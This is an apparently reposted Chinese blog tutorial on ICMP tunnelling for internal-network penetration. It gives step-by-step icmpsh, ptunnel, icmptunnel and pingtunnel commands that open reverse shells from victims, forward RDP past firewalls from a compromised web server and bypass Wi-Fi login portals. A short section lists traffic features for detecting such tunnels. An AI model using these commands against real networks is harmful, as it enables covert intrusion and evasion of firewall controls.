內網滲透-icmp通信原理&特征


一、ICMP隧道技術解析

icmp協議

Internet Control Message Protocol Internet控制報文協議。它是TCP/IP協議簇的一個子協議,用於在IP主機、路由器之間傳遞控制消息。控制消息是指網絡通不通、主機是否可達、路由是否可用於網絡本身的消息。這些控制消息雖然並不傳輸用戶數據,但是對於用戶數據的傳遞起着重要的作用。

ICMP幀格式如下所示

 

 

 類型和代碼字段決定了ICMP報文的類型,如下圖所示

 

 

ICMP隧道技術原理

由於ICMP報文自身可以攜帶數據,而且ICMP報文是由系統內核處理的,不占用任何端口,因此具有很高的隱蔽性。

通常ICMP隧道技術采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY兩種報文,把數據隱藏在ICMP數據包包頭的選項域中,利用ping命令建立隱蔽通道。

 

 

 進行隱蔽傳輸的時候,肉雞運行並接受外部攻擊端的ICMP_ECHO數據包,攻擊端把需要執行的命令隱藏在ICMP_ECHO數據包中,肉雞接收到該數據包,解出其中隱藏的命令,並在防火牆內部主機上執行,再把執行結果隱藏在ICMP_ECHOREPLY回包中,發送給外部供給端。

 

 

 ICMP隧道優點

優點:

1、防火牆對ICMP_ECHO數據包是放行的,並且內部主機不會檢查ICMP數據包所攜帶的數據內容,隱蔽性高。

缺點:

1、ICMP隱蔽傳輸是無連接的,傳輸不是很穩定,而且隱蔽通道的帶寬很低。

二、ICMP隧道攻擊實現

icmpsh

git clone https://github.com/inquisb/icmpsh.git

 

 

 受控端(客戶端)只能運行在Windows機器上,而主控端(服務端)有三個版本

關閉攻擊機的默認icmp應答

sysctl -w net.ipv4.icmp_echo_ignore_all=1

受害者(被控端)執行

icmpsh.exe -t 192.168.8.180

成功通過dns隧道反彈shell回來。

流量分析,icmp隧道和普通的icmp包有什么區別

 建立隧道之后,是受害者不斷發送icmp的request包,類似於給server段發送心跳

區別於正常的ICMP包,ICMP隧道的iIdentifier字段

1、 icmpsh的iIdentifier字段是默認寫死的0001(大端)

2、正常的icmp傳輸的data長度是固定的,根據icmp包的長度是否規律也可以判斷主機是否有問題。

3、一個正常的 ping 每秒最多只會發送兩個數據包,而使用 ICMP隧道的瀏覽器在同一時間會產生大量 ICMP 數據包。

4、正常的icmp請求和響應的數據部分內容是一樣的。

ptunnel

ptunnel是一個icmp隧道中專的工具

 

 

 將自身的icmp關閉

sysctl -w net.ipv4.icmp_echo_ignore_all=1

描述一個攻擊場景,黑客拿下一個web服務器,但是這個web服務器有防火牆,這時只有一個webshell,發現內網一台脆弱主機,但是防火牆的出站規則很嚴格,通過tcp及以上協議進行流量轉發都被防火牆過濾掉了,只有ping icmp協議未被防火牆阻斷,此時就可以使用ptunnel進行icmp隧道中轉。

在被控主機web服務器和黑客的VPS都安裝ptunnel,被控web服務器直接執行ptunnel命令

黑客的vps執行

ptunnel  -p  123.56.6.160  -lp  3333  -da  172.16.7.6  -dp  3389
-p :跳板機的ip        -lp:自己監聽的端口     -da:內網目標的主機IP     -dp:想連接的目標的端口

 

黑客最終就可以在vps上面鏈接127.0.0.1 3389或者在本機鏈接vps的110.23.2.45 3389實現內網端口轉發出來入侵。

Icmptunnel  

git clone https://github.com/jamesbarlow/icmptunnel.git
cd  icmptunnel&&make

使用場景和icmpsh一樣(被攻擊對象為linux的情況下)

攻擊者IP:192.168.8.17
被攻擊者的IP:192.168.8.37

攻擊者開啟icmptunnel服務端模式:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
 ./icmptunnel –s

然后另開一個終端,執行命令

/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0    指定一個網卡tun0,用於給隧道服務器端分配一個IP地址(10.0.0.1)

被攻擊者執行

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
 ./icmptunnel 192.168.1.16

連接上攻擊者的icmptunnel服務端,然后再開一個終端,執行命令

/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0     指定IP地址為10.0.0.2

此時建立了icmp隧道,在服務器端通過ssh root@10.0.0.1連接被攻擊對象

pingtunnel

https://github.com/esrrhs/pingtunnel

使用pingtunnel icmp通道繞過某些場合如學校、咖啡廳、機場上網認證

下載對應的系統版本

server

關閉icmp echo reply

echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

啟動

sudo ./pingtunnel -type server

client

pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 

使用瀏覽器配置sock5上網即可

設置瀏覽器的sock5代理到127.0.0.1:4455,如果連不上網,出現socks version not supported錯誤日志,說明瀏覽器的代理不是socks5代理。如果提示非安全連接,說明dns有問題,勾上瀏覽器的【使用socks5代理DNS查詢】

參考鏈接:

https://www.freebuf.com/network/222056.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM